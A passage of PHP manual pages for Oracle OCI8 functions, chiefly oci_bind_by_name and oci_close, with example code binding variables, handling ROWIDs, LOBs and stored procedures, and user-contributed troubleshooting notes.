    BEGIN
    FOR i IN 1..5 LOOP
      INSERT INTO bind_example VALUES (c1(i));
    END LOOP;
    IF NOT CUR%ISOPEN THEN
      OPEN CUR;
    END IF;
    FOR i IN REVERSE 1..5 LOOP
      FETCH CUR INTO c1(i);
      IF CUR%NOTFOUND THEN
        CLOSE CUR;
        EXIT;
      END IF;
    END LOOP;
  END iobind;
END ARRAYBINDPKG1;";
$statement = oci_parse($c, $create_pkg_body);
oci_execute($statement);

$statement = oci_parse($c, "BEGIN ARRAYBINDPKG1.iobind(:c1); END;");

$array = array("one", "two", "three", "four", "five");

oci_bind_array_by_name($statement, ":c1", $array, 5, -1, SQLT_CHR);

oci_execute($statement);

var_dump($array);

?>

User Contributed Notes

david dot paper at usu dot edu 10-Sep-2009 10:44
We were able to get the example included for the "OCI_BIND_ARRAY_BY_NAME" to work. However, the example is NOT actually binding with a PL/SQL array of any type. It is writing data to an Oracle table named "bind_example". Notice how this table is created. The table does NOT have an array type as one of its fields. Since this is the case, there cannot be any binding to a PL/SQL array because at least one field in the table must be either a VARRAY, NESTED TABLE or ASSOCIATIVE ARRAY data type. We searched the Internet and could not find any examples that actually read from a PL/SQL array type. We were able to get data from a PL/SQL VARRAY data type, but only by using a SELECT statement.
Anonymous 12-Jun-2008 09:44
This function appears to work with PL/SQL associative arrays (index-by tables) but I was unable to get it to work with PL/SQL varrays
14-Feb-2007 04:24
Note that it looks like you can't bind a multi-dimensional array with this method. If you try, you'll get a Notice about Array to string conversion, and your PL/SQL will end up with a one-dimensional array filled with the a lot of string values, all saying "Array". :|
OCI-Lob::writeToFile
oci_bind_by_name
OCI8 Functions


Binds a PHP variable to an Oracle placeholder

oci_bind_array_by_name
oci_cancel
OCI8 Functions
PHP Manual

oci_bind_by_name

(PHP 5, PECL OCI8 >= 1.1.0)

oci_bind_by_name — Binds a PHP variable to an Oracle placeholder

Description

bool oci_bind_by_name ( resource $statement , string $bv_name , mixed &$variable [, int $maxlength = -1 [, int $type = SQLT_CHR ]] )

Binds a PHP variable variable to the Oracle bind variable placeholder bv_name. Binding is important for Oracle database performance and also as a way to avoid SQL Injection security issues.

Binding allows the database to reuse the statement context and caches from previous executions of the statement, even if another user or process originally executed it. Binding reduces SQL Injection concerns because the data associated with a bind variable is never treated as part of the SQL statement. It does not need quoting or escaping.

PHP variables that have been bound can be changed and the statement re-executed without needing to re-parse the statement or re-bind.

In Oracle, bind variables are commonly divided into IN binds for values that are passed into the database, and OUT binds for values that are returned to PHP. A bind variable may be both IN and OUT. Whether a bind variable will be used for input or output is determined at run-time.

You must specify maxlength when using an OUT bind so that PHP allocates enough memory to hold the returned value.

For IN binds it is recommended to set the maxlength length if the statement is re-executed multiple times with different values for the PHP variable. Otherwise Oracle may truncate data to the length of the initial PHP variable value. If you don't know what the maximum length will be, then re-call oci_bind_by_name() with the current data size prior to each oci_execute() call. Binding an unnecessarily large length will have an impact on process memory in the database.

A bind call tells Oracle which memory address to read data from. For IN binds that address needs to contain valid data when oci_execute() is called. This means that the variable bound must remain in scope until execution. If it doesn't, unexpected results or errors such as "ORA-01460: unimplemented or unreasonable conversion requested" may occur. For OUT binds one symptom is no value being set in the PHP variable.

For a statement that is repeatedly executed, binding values that never change may reduce the ability of the Oracle optimizer to choose the best statement execution plan. Long running statements that are rarely re-executed may not benefit from binding. However in both cases, binding might be safer than joining strings into a SQL statement, as this can be a security risk if unfiltered user text is concatenated.

Parameters

statement

A valid OCI8 statement identifer.

bv_name

The colon-prefixed bind variable placeholder used in the statement. The colon is optional in bv_name. Oracle does not use question marks for placeholders.

variable

The PHP variable to be associated with bv_name

maxlength

Sets the maximum length for the data. If you set it to -1, this function will use the current length of variable to set the maximum length. In this case the variable must exist and contain data when oci_bind_by_name() is called.

type

The datatype that Oracle will treat the data as. The default type used is SQLT_CHR. Oracle will convert the data between this type and the database column (or PL/SQL variable type), when possible.

If you need to bind an abstract datatype (LOB/ROWID/BFILE) you need to allocate it first using the oci_new_descriptor() function. The length is not used for abstract datatypes and should be set to -1.

Possible values for type are:

  • SQLT_BFILEE or OCI_B_BFILE - for BFILEs;

  • SQLT_CFILEE or OCI_B_CFILEE - for CFILEs;

  • SQLT_CLOB or OCI_B_CLOB - for CLOBs;

  • SQLT_BLOB or OCI_B_BLOB - for BLOBs;

  • SQLT_RDD or OCI_B_ROWID - for ROWIDs;

  • SQLT_NTY or OCI_B_NTY - for named datatypes;

  • SQLT_INT or OCI_B_INT - for integers;

  • SQLT_CHR - for VARCHARs;

  • SQLT_BIN or OCI_B_BIN - for RAW columns;

  • SQLT_LNG - for LONG columns;

  • SQLT_LBI - for LONG RAW columns;

  • SQLT_RSET - for cursors created with oci_new_cursor().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Inserting data with oci_bind_by_name()

<?php

// Create the table with:
//   CREATE TABLE mytab (id NUMBER, text VARCHAR2(40));

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $m = oci_error();
    trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$stid = oci_parse($conn,"INSERT INTO mytab (id, text) VALUES(:id_bv, :text_bv)");

$id = 1;
$text = "Data to insert     ";
oci_bind_by_name($stid, ":id_bv", $id);
oci_bind_by_name($stid, ":text_bv", $text);
oci_execute($stid);

// Table now contains: 1, 'Data to insert     '

?>

Example #2 Binding once for multiple executions

<?php

// Create the table with:
//   CREATE TABLE mytab (id NUMBER);

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $m = oci_error();
    trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$a = array(1,3,5,7,11);  // data to insert

$stid = oci_parse($conn, 'INSERT INTO mytab (id) VALUES (:bv)');
oci_bind_by_name($stid, ':bv', $v, 20);
foreach ($a as $v) {
    $r = oci_execute($stid, OCI_DEFAULT);  // don't auto commit
}
oci_commit($conn); // commit everything at once

// Table contains five rows: 1, 3, 5, 7, 11

oci_free_statement($stid);
oci_close($conn);

?>

Example #3 Binding with a foreach() loop

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $m = oci_error();
    trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$sql = 'SELECT * FROM departments WHERE department_name = :dname AND location_id = :loc';
$stid = oci_parse($conn, $sql);

$ba = array(':dname' => 'IT Support', ':loc' => 1700);

foreach ($ba as $key => $val) {

    // oci_bind_by_name($stid, $key, $val) does not work
    // because it binds each placeholder to the same location: $val
    // instead use the actual location of the data: $ba[$key]
    oci_bind_by_name($stid, $key, $ba[$key]);
}

oci_execute($stid);
$row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_NULLS);
foreach ($row as $item) {
    print $item."<br>\n";
}

oci_free_statement($stid);
oci_close($conn);

?>

Example #4 Binding in a WHERE clause

<?php

$conn = oci_connect("hr", "hrpwd", "localhost/XE");
if (!$conn) {
    $m = oci_error();
    trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$sql = 'SELECT last_name FROM employees WHERE employee_id = :eidbv';
$stid = oci_parse($conn, $sql);
$myeid = 101;
oci_bind_by_name($stid, ':eidbv', $myeid);
oci_execute($stid);
$row = oci_fetch_array($stid, OCI_ASSOC);
echo $row['LAST_NAME'] ."<br>\n";

// Output is
//    Kochhar

oci_free_statement($stid);
oci_close($conn);

?>

Example #5 Binding with a LIKE clause

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $m = oci_error();
    trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

// Find all cities that begin with 'South'
$stid = oci_parse($conn, "SELECT city FROM locations WHERE city LIKE :bv");
$city = 'South%';  // '%' is a wildcard in SQL
oci_bind_by_name($stid, ":bv", $city);
oci_execute($stid);
oci_fetch_all($stid, $res);

foreach ($res['CITY'] as $c) {
    print $c . "<br>\n";
}
// Output is
//   South Brunswick
//   South San Francisco
//   Southlake

oci_free_statement($stid);
oci_close($conn);

?>

Example #6 Binding with REGEXP_LIKE

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $m = oci_error();
    trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

// Find all cities that contain 'ing'
$stid = oci_parse($conn, "SELECT city FROM locations WHERE REGEXP_LIKE(city, :bv)");
$city = '.*ing.*';
oci_bind_by_name($stid, ":bv", $city);
oci_execute($stid);
oci_fetch_all($stid, $res);

foreach ($res['CITY'] as $c) {
    print $c . "<br>\n";
}
// Output is
//   Beijing
//   Singapore

oci_free_statement($stid);
oci_close($conn);

?>

For a small, fixed number of IN clause conditions, use individual bind variables. Values unknown at run time can be set to NULL. This allows a single statement to be used by all application users, maximizing Oracle DB cache efficiency.

Example #7 Binding Multiple Values in an IN Clause

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $m = oci_error();
    trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$sql = 'SELECT last_name FROM employees WHERE employee_id in (:e1, :e2, :e3)';
$stid = oci_parse($conn, $sql);
$mye1 = 103;
$mye2 = 104;
$mye3 = NULL; // pretend we were not given this value
oci_bind_by_name($stid, ':e1', $mye1);
oci_bind_by_name($stid, ':e2', $mye2);
oci_bind_by_name($stid, ':e3', $mye3);
oci_execute($stid);
oci_fetch_all($stid, $res);
foreach ($res['LAST_NAME'] as $name) {
    print $name ."<br>\n";
}

// Output is
//   Ernst
//   Hunold

oci_free_statement($stid);
oci_close($conn);

?>

Example #8 Binding a ROWID returned by a query

<?php

// Create the table with:
//   CREATE TABLE mytab (id NUMBER, salary NUMBER, name VARCHAR2(40));
//   INSERT INTO mytab (id, salary, name) VALUES (1, 100, 'Chris');
//   COMMIT;

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $m = oci_error();
    trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT ROWID, name FROM mytab WHERE id = :id_bv FOR UPDATE');
$id = 1;
oci_bind_by_name($stid, ':id_bv', $id);
oci_execute($stid);
$row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_NULLS);
$rid = $row['ROWID'];
$name = $row['NAME'];

// Change name to upper case & save the changes
$name = strtoupper($name);
$stid = oci_parse($conn, 'UPDATE mytab SET name = :n_bv WHERE ROWID = :r_bv');
oci_bind_by_name($stid, ':n_bv', $name);
oci_bind_by_name($stid, ':r_bv', $rid, -1, OCI_B_ROWID);
oci_execute($stid);

// The table now contains 1, 100, CHRIS

oci_free_statement($stid);
oci_close($conn);

?>

Example #9 Binding a ROWID on INSERT

<?php

// This example inserts an id & name, and then updates the salary
// Create the table with:
//   CREATE TABLE mytab (id NUMBER, salary NUMBER, name VARCHAR2(40));
//
// Based on original ROWID example by thies at thieso dot net (980221)

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $m = oci_error();
    trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$sql = "INSERT INTO mytab (id, name) VALUES(:id_bv, :name_bv)
        RETURNING ROWID INTO :rid";

$ins_stid = oci_parse($conn, $sql);

$rowid = oci_new_descriptor($conn, OCI_D_ROWID);
oci_bind_by_name($ins_stid, ":id_bv",   $id,    10);
oci_bind_by_name($ins_stid, ":name_bv", $name,  32);
oci_bind_by_name($ins_stid, ":rid",     $rowid, -1, OCI_B_ROWID);

$sql = "UPDATE mytab SET salary = :salary WHERE ROWID = :rid";
$upd_stid = oci_parse($conn, $sql);
oci_bind_by_name($upd_stid, ":rid", $rowid, -1, OCI_B_ROWID);
oci_bind_by_name($upd_stid, ":salary", $salary,   32);

// ids and names to insert
$data = array(1111 => "Larry",
              2222 => "Bill",
              3333 => "Jim");

// Salary of each person
$salary = 10000;

// Insert and immediately update each row
foreach ($data as $id => $name) {
    oci_execute($ins_stid);
    oci_execute($upd_stid);
}

$rowid->free();
oci_free_statement($upd_stid);
oci_free_statement($ins_stid);

// Show the new rows
$stid = oci_parse($conn, "SELECT * FROM mytab");
oci_execute($stid);
while ($row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_NULLS)) {
    var_dump($row);
}

oci_free_statement($stid);
oci_close($conn);

?>

Example #10 Binding for a PL/SQL stored function

<?php

//  Before running the PHP program, create a stored function in
//  SQL*Plus or SQL Developer:
//
//  CREATE OR REPLACE FUNCTION myfunc(p IN NUMBER) RETURN NUMBER AS
//  BEGIN
//      RETURN p * 3;
//  END;

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message']), E_USER_ERROR);
}

$p = 8;

$stid = oci_parse($conn, 'begin :r := myfunc(:p); end;');
oci_bind_by_name($stid, ':p', $p);

// The return value is an OUT bind. The default type will be a string
// type so binding a length 40 means that at most 40 digits will be
// returned.
oci_bind_by_name($stid, ':r', $r, 40);

oci_execute($stid);

print "$r\n";   // prints 24

oci_free_statement($stid);
oci_close($conn);

?>

Example #11 Binding parameters for a PL/SQL stored procedure

<?php

//  Before running the PHP program, create a stored procedure in
//  SQL*Plus or SQL Developer:
//
//  CREATE OR REPLACE PROCEDURE myproc(p1 IN NUMBER, p2 OUT NUMBER) AS
//  BEGIN
//      p2 := p1 * 2;
//  END;

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message']), E_USER_ERROR);
}

$p1 = 8;

$stid = oci_parse($conn, 'begin myproc(:p1, :p2); end;');
oci_bind_by_name($stid, ':p1', $p1);

// The second procedure parameter is an OUT bind. The default type
// will be a string type so binding a length 40 means that at most 40
// digits will be returned.
oci_bind_by_name($stid, ':p2', $p2, 40);

oci_execute($stid);

print "$p2\n";   // prints 16

oci_free_statement($stid);
oci_close($conn);

?>

Example #12 Binding a CLOB column

<?php

// Before running, create the table:
//     CREATE TABLE mytab (mykey NUMBER, myclob CLOB);

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message']), E_USER_ERROR);
}

$mykey = 12343;  // arbitrary key for this example;

$sql = "INSERT INTO mytab (mykey, myclob)
        VALUES (:mykey, EMPTY_CLOB())
        RETURNING myclob INTO :myclob";

$stid = oci_parse($conn, $sql);
$clob = oci_new_descriptor($conn, OCI_D_LOB);
oci_bind_by_name($stid, ":mykey", $mykey, 5);
oci_bind_by_name($stid, ":myclob", $clob, -1, OCI_B_CLOB);
oci_execute($stid, OCI_DEFAULT);
$clob->save("A very long string");

oci_commit($conn);

// Fetching CLOB data

$query = 'SELECT myclob FROM mytab WHERE mykey = :mykey';

$stid = oci_parse ($conn, $query);
oci_bind_by_name($stid, ":mykey", $mykey, 5);
oci_execute($stid);

print '<table border="1">';
while ($row = oci_fetch_array($stid, OCI_ASSOC)) {
  $result = $row['MYCLOB']->load();
  print '<tr><td>'.$result.'</td></tr>';
}
print '</table>';

?>

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Warning

Do not use magic_quotes_gpc or addslashes() and oci_bind_by_name() simultaneously as no quoting is needed. Any magically applied quotes will be written into your database because oci_bind_by_name() inserts data verbatim and does not remove quotes or escape characters.

Note:

If you bind a string to a CHAR column in a WHERE clause, remember that Oracle uses blank-padded comparison semantics for CHAR columns. Your PHP variable should be blank padded to the same width as the column for the WHERE clause to succeed.

Note:

The PHP variable argument is a reference. Some forms of loops do not work as expected:

<?php
foreach ($myarray as $key => $value)  {
    oci_bind_by_name($stid, $key, $value);
}
?>

This binds each key to the location of $value, so all bound variables end up pointing to the last loop iteration's value. Instead use the following:

<?php
foreach ($myarray as $key => $value) {
    oci_bind_by_name($stid, $key, $myarray[$key]);
}
?>

Note:

In PHP versions before 5.0.0 you must use ocibindbyname() instead. The old function name can still be used in current versions, however it is deprecated and not recommended.

See Also

  • oci_bind_array_by_name() - Binds a PHP array to an Oracle PL/SQL array parameter
  • oci_parse() - Prepares an Oracle statement for execution

User Contributed Notes

abiyi2000 at yahoo dot com 24-Sep-2011 08:03
I unfortunately spent the whole day trying to make this work as part of OCI bind_by_name insert:

<?php
      if(is_numeric($v2)){
        oci_bind_by_name($stmth, $bvar, $v2,  -1, OCI_B_INT);
      }else{
        $v2 = (string) $v2;
        oci_bind_by_name($stmth, $bvar, $v2, -1, SQLT_CHR);
      }
?>

The string field is always inserting correctly w/o any truncation. The string field is a  varchar2(160) CHAR, but the data used to populate it is 40 chars in length.

The numeric part is of Type Number in the database which is being used to store unix time (10 digit seconds since 1970/01/01.

The problem, the insert was truncating to 9 digits with some bogus value not even related to the input i.e., it's not just a matter of dropping the leftmost or rightmost digit, it'll just insert a 9 digit bogus number.

The only way I was able to resolve this for the numeric field was to set the maxlength to 8 (not 10 which is the number of digits in the input):

<?php
      if(is_numeric($v2)){
        oci_bind_by_name($stmth, $bvar, $v2,  8, OCI_B_INT);
      }else{
        $v2 = (string) $v2;
        oci_bind_by_name($stmth, $bvar, $v2, -1, SQLT_CHR);
      }
?>

Hopefully you'll see this soon before you expend a lot of time repeating the same problem I had.
adrian dot crossley at hesa dot ac dot uk 20-Jul-2009 06:14
Sometimes you get the error "ORA-01461: can bind a LONG value only for insert into a LONG column".  This error is highly misleading especially when you have no LONG columns or LONG values.

From my testing it seems this error can be caused when the value of a bound variable exceeds the length allocated.

To avoid this error make sure you specify lengths when binding varchars e.g.
<?php
oci_bind_by_name($stmt,':string',$string, 256);
?>

And for numerics use the default length (-1) but tell oracle its an integer e.g.
<?php
oci_bind_by_name($stmt,':num',$num, -1, SQLT_INT);
?>
avenger at php dot net 20-Feb-2009 03:54
Dont forget the 5th parameter: $type. It's will slowly your code some times. Eg:

<?php
$sql = "select * from (select * from b xxx) where rownum < :rnum";
$stmt = OCIParse($conn,$sql);
OCIBindByName($stmt, ":rnum", $NUM, -1);
OCIExecute($stmt);
?>

Below code was slow 5~6 time than not use bind value.Change the 3rd line to:

<?php
OCIBindByName($stmt, ":rnum", $NUM, -1, SQLT_INT);
?>

will resloved this problem.

This issue is also in the ADODB DB class(adodb.sf.net), you will be careful for use the SelectLimit method.
ajitsingh4u at gmail dot com 09-May-2008 09:39
//Calling Oracle Stored Procedure
//I assume that you have a users table and three columns in users table i.e. id, user, email in oracle
// For example I made connection in constructor, you can modify as per your requirement.
//http://www.devshed.com/c/a/PHP/Understanding-Destructors-in-PHP-5/1/
<?php
class Users{
    private $connection;

    public function __construct()
    {
        $this->connection = oci_connect("scott", "tiger", $db); // Establishes a connection to the Oracle server;
    }

    public function selectUsers($start_index=1, $numbers_of_rows=20)
    {
        $sql ="BEGIN sp_users_select(:p_start_index, :p_numbers_of_rows, :p_cursor, :p_result); END;";
        $stmt = oci_parse($this->connection, $sql);

        //Bind in parameter
        oci_bind_by_name($stmt, ':p_start_index', $start_index, 20);
        oci_bind_by_name($stmt, ':p_numbers_of_rows', $numbers_of_rows, 20);

        //Bind out parameter
        oci_bind_by_name($stmt, ':p_result', $result, 20); // returns 0 if stored procedure succeessfully executed.

        //Bind Cursor
        $p_cursor = oci_new_cursor($this->connection);
        oci_bind_by_name($stmt, ':p_cursor', $p_cursor, -1, OCI_B_CURSOR);

        // Execute Statement
        oci_execute($stmt);
        oci_execute($p_cursor, OCI_DEFAULT);

        oci_fetch_all($p_cursor, $cursor, null, null, OCI_FETCHSTATEMENT_BY_ROW);

        echo $result;
        echo '<br>';
        var_dump($cursor); // $cursor is an associative array so we can use print_r() to print this data.
        // you can return data from this function to use it at your user interface.
    }

    public function deleteUser($id)
    {
        $sql ="BEGIN sp_user_delete(:p_id, :p_result); END;";
        $stmt = oci_parse($this->connection, $sql);

        // bind in and out variables
        oci_bind_by_name($stmt, ':p_id', $id, 20);
        oci_bind_by_name($stmt, ':p_result', $result, 20);

        //Execute the statement
        $check = oci_execute($stmt);

        if($check == true)
        $commit = oci_commit($this->connection);
        else
        $commit = oci_rollback($this->connection);

        return $result;
    }

    // You can make function for insert ,update using above two functions

}
?>
08-May-2007 01:59
This is what the old OCI_B_* constants are now called:
(PHP 5.1.6 win32)

OCI_B_NTY - SQLT_NTY
OCI_B_BFILE - SQLT_BFILEE
OCI_B_CFILEE - SQLT_CFILEE
OCI_B_CLOB - SQLT_CLOB
OCI_B_BLOB - SQLT_BLOB
OCI_B_ROWID - SQLT_RDD
OCI_B_CURSOR - SQLT_RSET
OCI_B_BIN - SQLT_BIN
OCI_B_INT - SQLT_INT
OCI_B_NUM - SQLT_NUM
Chris Delcamp 11-Jan-2007 08:48
This is an example of returning the primary key from an insert so that you can do inserts on other tables with foreign keys based on that value.  The date is just used to provied semi-unique data to be inserted.

$conn = oci_connect("username", "password")
$stmt = oci_parse($conn, "INSERT INTO test (test_msg) values (:data) RETURN test_id INTO :RV");
$data = date("d-M-Y H:i:s");
oci_bind_by_name($stmt, ":RV", $rv, -1, SQLT_INT);
oci_bind_by_name($stmt, ":data", $data, 24);
oci_execute($stmt);
print $rv;
hfuecks at nospam dot org 16-Aug-2005 01:12
Note that there have been some changes on the constant identifiers and the documentation is currently not entirely accurate.

Running the following script;

<?php
foreach (array_keys(get_defined_constants()) as $const) {
    if ( preg_match('/^OCI_B_/', $const) ) {
        print "$const\n";
    }
}
?>

Under PHP 4.4.0 I get;

OCI_B_SQLT_NTY < renamed to OCI_B_NTY with PHP5
OCI_B_BFILE
OCI_B_CFILEE
OCI_B_CLOB
OCI_B_BLOB
OCI_B_ROWID
OCI_B_CURSOR
OCI_B_BIN

Under PHP 5.0.4 I get;

OCI_B_NTY
OCI_B_BFILE < docs are wrong right now
OCI_B_CFILEE < docs are wrong right now
OCI_B_CLOB
OCI_B_BLOB
OCI_B_ROWID
OCI_B_CURSOR
OCI_B_BIN < it's a mystery
oci_bind_array_by_name
oci_cancel
OCI8 Functions


Cancels reading from cursor

oci_bind_by_name
oci_client_version
OCI8 Functions
PHP Manual

oci_cancel

(PHP 5, PECL OCI8 >= 1.1.0)

oci_cancel — Cancels reading from cursor

Description

bool oci_cancel ( resource $statement )

Invalidates a cursor, freeing all associated resources and cancels the ability to read from it.

Parameters

statement

An OCI statement.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
oci_bind_by_name
oci_client_version
OCI8 Functions


Returns the Oracle client library version

oci_cancel
oci_close
OCI8 Functions
PHP Manual

oci_client_version

(PHP 5.3.7, PECL OCI8 >= 1.4.6)

oci_client_version — Returns the Oracle client library version

Description

string oci_client_version ( void )

Returns a string containing the version number of the Oracle C client library that PHP is linked with.

Parameters

None

Return Values

Returns the version number as a string.

Examples

Example #1 oci_client_version() example

<?php
    echo "Client Version: " . oci_client_version(); // Client version: 11.2.0.2
?>

Notes

Note:

Oracle libraries before 10gR2 do not have the underlying functionality to get the client library version number. The string "Unknown" will be returned in this case.

See Also

  • oci_server_version() - Returns the Oracle Database version

User Contributed Notes

There are no user contributed notes for this page.
oci_cancel
oci_close
OCI8 Functions


Closes an Oracle connection

oci_client_version
oci_commit
OCI8 Functions
PHP Manual

oci_close

(PHP 5, PECL OCI8 >= 1.1.0)

oci_close — Closes an Oracle connection

Description

bool oci_close ( resource $connection )

Unsets connection. The underlying database connection is closed if no other resources are using it and if it was created with oci_connect() or oci_new_connect().

It is recommended to close connections that are no longer needed because this makes database resources available for other users.

Parameters

connection

An Oracle connection identifier returned by oci_connect(), oci_pconnect(), or oci_new_connect().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Closing a connection

Resources associated with a connection should be closed to ensure the underlying database connection is properly terminated and the database resources are released.

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT * FROM departments');
$r = oci_execute($stid);
oci_fetch_all($stid, $res);
var_dump($res);

// Free the statement identifier when closing the connection
oci_free_statement($stid);
oci_close($conn);

?>

Example #2 Database connections are not closed until all references are closed

The internal refcount of a connection identifier must be zero before the underlying connection to the database is closed.

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT * FROM departments');  // this increases the refcount on $conn
oci_execute($stid);
oci_fetch_all($stid, $res);
var_dump($res);

oci_close($conn);

// $conn is no long usable in the script but the underlying database
// connection is still held open until $stid is freed.
var_dump($conn);  // prints NULL

// While PHP sleeps, querying the Oracle V$SESSION view in a
// terminal window will show that the database user is still connected.
sleep(10);

// When $stid is freed, the database connection is physically closed
oci_free_statement($stid);

// While PHP sleeps, querying the Oracle V$SESSION view in a
// terminal window will show that the database user has disconnected.
sleep(10);

?>

Example #3 Closing a connection opened more than once

When database credentials are reused, both connections must be closed before the underlying database connection is closed.

<?php

$conn1 = oci_connect('hr', 'welcome', 'localhost/XE');

// Using the same credentials reuses the same underlying database connection
// Any uncommitted changes done on $conn1 will be visible in $conn2
$conn2 = oci_connect('hr', 'welcome', 'localhost/XE');

// While PHP sleeps, querying the Oracle V$SESSION view in a
// terminal window will show that only one database user is connected.
sleep(10);

oci_close($conn1); // doesn't close the underlying database connection
var_dump($conn1);  // prints NULL because the variable $conn1 is no longer usable
var_dump($conn2);  // displays that $conn2 is still a valid connection resource

?>

Example #4 Connections are closed when variables go out of scope

When all variables referencing a connection go out of scope and are freed by PHP, a rollback occurs (if necessary) and the underlying connection to the database is closed.

<?php

function myfunc() {
    $conn = oci_connect('hr', 'hrpwd', 'localhost/XE');
    if (!$conn) {
        $e = oci_error();
        trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
    }

    $stid = oci_parse($conn, 'UPDATE mytab SET id = 100');
    oci_execute($stid, OCI_NO_AUTO_COMMIT);
    return "Finished";
}

$r = myfunc();
// At this point a rollback occurred and the underlying database connection was released.

print $r;  // displays the function return value "Finished"

?>

Notes

Note:

Variables that have a dependency on the connection identifier, such as statement identifiers returned by oci_parse(), must also be freed before the underlying database connection is closed.

Note:

Prior to version PHP 5.1.2 (PECL OCI8 1.1) oci_close() was a no-op. In more recent versions it correctly closes the Oracle connection. Use oci8.old_oci_close_semantics option to restore old behavior of this function.

Note:

The oci_close() function does not close the underlying database connections created with oci_pconnect().

Note:

In PHP versions before 5.0.0 you must use ocilogoff() instead. The old function name can still be used in current versions, however it is deprecated and not recommended.

See Also

  • oci_connect() - Connect to an Oracle database
  • oci_free_statement() - Frees all resources associated with statement or cursor

User Contributed Notes

yepster at hotmail dot com 16-Feb-2002 10:21
For using persistent connections && being able to sleep, I use:

function close_db_locks_on_abort( ) {
    global $conn;
    if( connection_aborted() ) {
        $fp = fopen( "/tmp/shutdown-func.txt", "a" );
        fwrite( $fp, sprintf( "connection aborted on %s\n", date( "d-m-Y H:i:s" ) ) );
        if( $conn ) {
            OCIRollBack( $conn );
            fwrite( $fp, sprintf( "-- DURING CONNECTION! ip=%s, user=%s, page=%s\n", $_SERVER["REMOTE_ADDR"], $_SERVER["PHP_AUTH_USER"], $_SERVER["SCRIPT_FILENAME"] ) );
        }
        fclose( $fp );
    }
}

register_shutdown_function ( "close_db_locks_on_abort" );

This makes sure a rollback is done on a connection when a user hits 'stop', so there will be no locks on table rows.
oci_client_version
oci_commit
OCI8 Functions


Commits the outstanding database transaction

oci_close
oci_connect
OCI8 Functions
PHP Manual

oci_commit

(PHP 5, PECL OCI8 >= 1.1.0)

oci_commit — Commits the outstanding database transaction

Description

bool oci_commit ( resource $connection )

Commits the outstanding transaction for the Oracle connection. A commit ends the current transaction and makes permanent all changes. It releases all locks held.

A transaction begins when the first SQL statement that changes data is executed with oci_execute() using the OCI_NO_AUTO_COMMIT flag. Further data changes made by other statements become part of the same transaction. Data changes made in a transaction are temporary until the transaction is committed or rolled back. Other users of the database will not see the changes until they are committed.

When inserting or updating data, using transactions is recommended for relational data consistency and for performance reasons.

Parameters

connection

An Oracle connection identifier, returned by oci_connect(), oci_pconnect(), or oci_new_connect().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 oci_commit() example

<?php

// Insert into several tables, rolling back the changes if an error occurs

$conn = oci_connect('hr', 'welcome', 'localhost/XE');

$stid = oci_parse($conn, "INSERT INTO mysalary (id, name) VALUES (1, 'Chris')");

// The OCI_NO_AUTO_COMMIT flag tells Oracle not to commit the INSERT immediately
// Use OCI_DEFAULT as the flag for PHP <= 5.3.1.  The two flags are equivalent
$r = oci_execute($stid, OCI_NO_AUTO_COMMIT);
if (!$r) {
    $e = oci_error($stid);
    trigger_error(htmlentities($e['message']), E_USER_ERROR);
}

$stid = oci_parse($conn, 'INSERT INTO myschedule (startday) VALUES (12)');
$r = oci_execute($stid, OCI_NO_AUTO_COMMIT);
if (!$r) {
    $e = oci_error($stid);
    oci_rollback($conn);  // rollback changes to both tables
    trigger_error(htmlentities($e['message']), E_USER_ERROR);
}

// Commit the changes to both tables
$r = oci_commit($conn);
if (!r) {
    $e = oci_error($conn);
    trigger_error(htmlentities($e['message']), E_USER_ERROR);
}

?>

Notes

Note:

Transactions are automatically rolled back when you close the connection, or when the script ends, whichever is soonest. You need to explicitly call oci_commit() to commit the transaction.

Any call to oci_execute() that uses OCI_COMMIT_ON_SUCCESS mode explicitly or by default will commit any previous uncommitted transaction.

Any Oracle DDL statement such as CREATE or DROP will automatically commit any uncommitted transaction.

Note:

In PHP versions before 5.0.0 you must use ocicommit() instead. The old function name can still be used in current versions, however it is deprecated and not recommended.

See Also

  • oci_execute() - Executes a statement
  • oci_rollback() - Rolls back the outstanding database transaction

User Contributed Notes

There are no user contributed notes for this page.
oci_close
oci_connect
OCI8 Functions


Connect to an Oracle database

oci_commit
oci_define_by_name
OCI8 Functions
PHP Manual

oci_connect

